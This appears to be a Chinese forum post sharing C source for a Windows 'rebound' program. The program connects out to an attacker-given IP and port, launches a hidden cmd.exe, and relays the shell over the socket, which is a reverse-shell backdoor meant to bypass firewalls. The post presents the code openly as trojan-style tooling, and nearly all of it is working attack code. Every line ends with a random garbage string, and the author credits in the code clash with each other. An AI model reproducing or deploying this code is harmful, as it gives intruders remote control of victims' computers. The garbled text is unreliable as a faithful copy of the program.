这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H{i|?a)
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/* ============================== ]LxE#R5V
Rebound port in Windows NT n!SHExBp
By wind,2006/7 \5j}6Wj
===============================*/ sz/^Ie-~
#include `bV&n!Y_
#include 8b-mW>xsA
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#pragma comment(lib,"wsock32.lib") %#&njP
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void OutputShell(); 9I<~t@q5e@
SOCKET sClient; 6;s[dw5T
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GNrRc3dr$
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void main(int argc,char **argv) n q>F_h
{ q o^mp
WSADATA stWsaData; 2,g4yXws5
int nRet; z6B#F<h
SOCKADDR_IN stSaiClient,stSaiServer; <z#Fj`2{
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if(argc != 3) eGpKoq7a
{ 0nkC%j
printf("Useage:\n\rRebound DestIP DestPort\n"); [kxOv7a
return; ^LB]
} ?D)$OCS
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WSAStartup(MAKEWORD(2,2),&stWsaData); %-K5sIz
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @b., pwZF
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stSaiClient.sin_family = AF_INET; 'PFjZGaKR
stSaiClient.sin_port = htons(0); -K8F$\W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {n|Uf 5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i_r708ep6
{ `T1bY9O.
printf("Bind Socket Failed!\n"); tk h
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return; Ck%if
} [Y, L=p
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stSaiServer.sin_family = AF_INET; 8qw{e`c
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8>x'. 8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Qyx~={.C~
{ kb/BEJ
printf("Connect Error!"); e`7>QS;.
return; (F.w?f4B3
} C8Mx>6
OutputShell(); qS!N\p~>
} h qjjd-S0
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void OutputShell() ]plp.f#av
{ VzHrKI
char szBuff[1024]; C3f\E: D)
SECURITY_ATTRIBUTES stSecurityAttributes; 2@2d
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OSVERSIONINFO stOsversionInfo; Y(kf<Wo
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w <"mS*Q
STARTUPINFO stStartupInfo; a`f@&A`z
char *szShell; S`FIb'J
PROCESS_INFORMATION stProcessInformation; dc1Zh
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unsigned long lBytesRead; LK}FI*A_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); leH7II9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "qR, V9\
stSecurityAttributes.lpSecurityDescriptor = 0; \
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stSecurityAttributes.bInheritHandle = TRUE; 2YW;=n
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e_KfnPY
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?H@<8Ra=3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $rr@3H+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )qbkKCq/FB
stStartupInfo.wShowWindow = SW_HIDE; 1kL8EPT%o
stStartupInfo.hStdInput = hReadPipe; {xov8M
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E JuTv%Y8
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GetVersionEx(&stOsversionInfo); z5M6
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switch(stOsversionInfo.dwPlatformId) *DfOm`m
{ `m<O!I"A
case 1: /(5"c>
szShell = "command.com"; +D]raU
break; (,QWK08
default: BPt? 3tC
szShell = "cmd.exe"; #*_!Xc9f
break; -q{N1?tcy
} !f52JQyh
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `{Q'iydU
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send(sClient,szMsg,77,0); |H_WY#
while(1) \2a;z<(
{ ~:T@SrVI
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,
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if(lBytesRead) mi Q*enZi
{ ^-k"gLg
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k"&o)*d
send(sClient,szBuff,lBytesRead,0); QtKcv7:4
} +c<iVc|
else '0q$qN
{ QE[<Y3M
lBytesRead=recv(sClient,szBuff,1024,0); mWaij]1>
if(lBytesRead<=0) break; Y 2ANt w@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vFR*3$R
} {P~rf&Ee
} pIcg+~
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return; nD*iSb*
}